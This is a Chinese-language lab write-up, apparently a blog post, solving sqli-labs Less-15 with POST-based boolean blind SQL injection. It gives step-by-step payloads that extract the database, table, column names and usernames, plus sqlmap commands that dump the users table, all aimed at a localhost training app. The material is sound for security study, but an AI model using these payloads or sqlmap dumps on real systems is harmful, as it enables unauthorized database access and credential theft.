当前位置: 首页 > news >正文

sqli-labs:Less-15关卡详细解析

1. 思路🚀

本关的SQL语句为:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、POST请求
  • 提示:参数需以'闭合

php输出语句的部分代码:

if($row)
{//echo '<font color= "#0000ff">';	echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in\n\n " ;echo '<font size="3" color="#0000ff">';	echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';	echo "</font>";}

同样没有回显语句,根据本关卡标题选择布尔盲注,那么就顺便学习一下:

  • 布尔盲注✅
  • 时间盲注
  • 报错盲注

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-15/,只需要将下面的urlpost data放入对应位置,粘贴即可。

2.1. 判断能否注入⚡

uname=1' or 1=1 #
&passwd=admin&submit=Submit

在这里插入图片描述

uname=1' or 1=2 #
&passwd=admin&submit=Submit

在这里插入图片描述

我们会发现是通过是否登录成功的标语判断是否能注入的,之前用的都是order by n,但是在本关卡不好使。而且用的是or连接两个逻辑判断,前一个必定为假,因为没有用户的账号名为1的,所以能否登录成功就取决于后面一条逻辑的判断。


2.2. 获取数据库⚡

只有下面的sql语句才会显示登录成功的标语,其余都不能。

# 先判断长度
uname=1' or length(database())=8 #
# 再排查名字
uname=1' or substr((database()),1,1)='s' # 
uname=1' or substr((database()),2,1)='e' # 
uname=1' or substr((database()),3,1)='c' #
uname=1' or substr((database()),4,1)='u' # 
uname=1' or substr((database()),5,1)='r' #
uname=1' or substr((database()),6,1)='i' #
uname=1' or substr((database()),7,1)='t' # 
uname=1' or substr((database()),8,1)='y' #  &passwd=admin&submit=Submit

在这里插入图片描述


2.3. 获取表名⚡

# 先判断长度
uname=1' or (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=5 # 
# 再排查名字
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 1, 1)='u' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 2, 1)='s' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 3, 1)='e' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 4, 1)='r' # 
uname=1' or substr((select table_name from information_schema.tables where table_schema=database() limit 3,1), 5, 1)='s' # &passwd=admin&submit=Submit

在这里插入图片描述


2.4. 获取字段⚡

下面是获取username字段,类比一下获取password字段。

# 先判断长度
uname=1' or (select length(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1)=8 # 
# 再排查名字
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 1, 1)='u' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 2, 1)='s' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 3, 1)='e' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 4, 1)='r' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 5, 1)='n' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 6, 1)='a' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 7, 1)='m' # 
uname=1' or substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 2,1), 8, 1)='e' # &passwd=admin&submit=Submit

在这里插入图片描述


2.5. 获取数据⚡

同理可以获取第一个用户的密码,第二个用户的账号密码。

uname=1' or substr((select username from users limit 0,1), 1, 1)='D' # 
uname=1' or substr((select username from users limit 0,1), 2, 1)='u' #  
uname=1' or substr((select username from users limit 0,1), 3, 1)='m' # 
uname=1' or substr((select username from users limit 0,1), 4, 1)='b' # &passwd=admin&submit=Submit

在这里插入图片描述


2.6. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
#注释符#
length获取长度length(database)
substr截取子串substr(str,x,1)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. SQLMap工具测试🎯

url地址换成自己的,比如:http://localhost:8081/Less-15/,由于本关卡为post请求,需要加参数指明请求格式,
--data="uname=1&passwd=123456"unamepasswd的值随意,具体如下:⭐

# 检测注入点
python sqlmap.py -u "http://localhost:8081/Less-15/" --data="uname=1&passwd=123456" --batch# 爆数据库
python sqlmap.py -u "url" --data="uname=1&passwd=123456" --dbs --batch# 爆表名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security --tables --batch# 爆列名
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users --columns --batch# 爆数据
python sqlmap.py -u "url" --data="uname=1&passwd=123456" -D security -T users -C id,username,password --dump --batch

命令1截图:
在这里插入图片描述

命令5截图:
在这里插入图片描述

SQLMap参数表⭐

参数功能
--data指定post请求
--batch非交互模式
--dbs枚举数据库
-D指定数据库
-T指定表
-C指定列
--dump导出数据

4. 总结🏁

关于post请求,本关卡与关卡11的解法相仿,但关卡11的解析更为详细,欢迎大家移步"sqli-labs:Less-11关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149805916?spm=1011.2124.3001.6209

有关报错盲注的解析,关卡8最为详细,欢迎移步"sqli-labs:Less-8关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149797430?spm=1011.2124.3001.6209


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.dtcms.com/a/307492.html

相关文章:

  • 10.C 语言内存划分,static,字符串
  • MFC CChartCtrl编程
  • 逻辑回归的应用
  • 【人工智能】当AI智能体遇上安全与伦理:一场技术与人性的对话
  • 3DXML 转换为 UG 的技术指南及迪威模型网在线转换推荐
  • arm架构系统打包qt程序--麒麟操作系统为例
  • 递归混合架构(MoR)在医疗领域的发展应用能力探析
  • 网络编程(一)TCP编程和UDP编程
  • Kubernetes集群中滚动更新失败与资源配置错误的深度解析及应对策略
  • 机器学习03——数据与算法初步2
  • Git之本地仓库管理
  • 第一篇:【Python-geemap教程(三)上】3D地形渲染与Landsat NDVI计算
  • 学习 java web 简单监听器
  • 《能碳宝》AI辅助开发系统方案
  • ES 工业网关:比德国更适配,比美国更易用
  • 编程语言Java——核心技术篇(六)解剖反射:性能的代价还是灵活性的福音?
  • Ubuntu/Debian 搭建 Nginx RTMP 服务器全攻略
  • 使用的IDE没有内置MCP客户端怎么办?
  • [源力觉醒 创作者计划]_文心4.5开源测评:国产大模型的技术突破与多维度能力解析
  • 数据库中使用SQL作分组处理01(简单分组)
  • Web3.0 和 Web2.0 生态系统比较分析:差异在哪里?
  • Web3:在 VSCode 中使用 Vue 前端与已部署的 Solidity 智能合约进行交互
  • Kotlin -> 普通Lambda vs 挂起Lambda
  • Astra主题WooCommerce如何添加可变产品Astra variation product
  • tplink er2260t配置vlan透传iptv
  • python学智能算法(二十九)|SVM-拉格朗日函数求解中-KKT条件理解
  • 数据结构: 双向列表
  • 银河麒麟桌面操作系统:自定义截图快捷键操作指南
  • NXP i.MX8MP GPU 与核心库全景解析
  • rapidocr_web v1.0.0发布了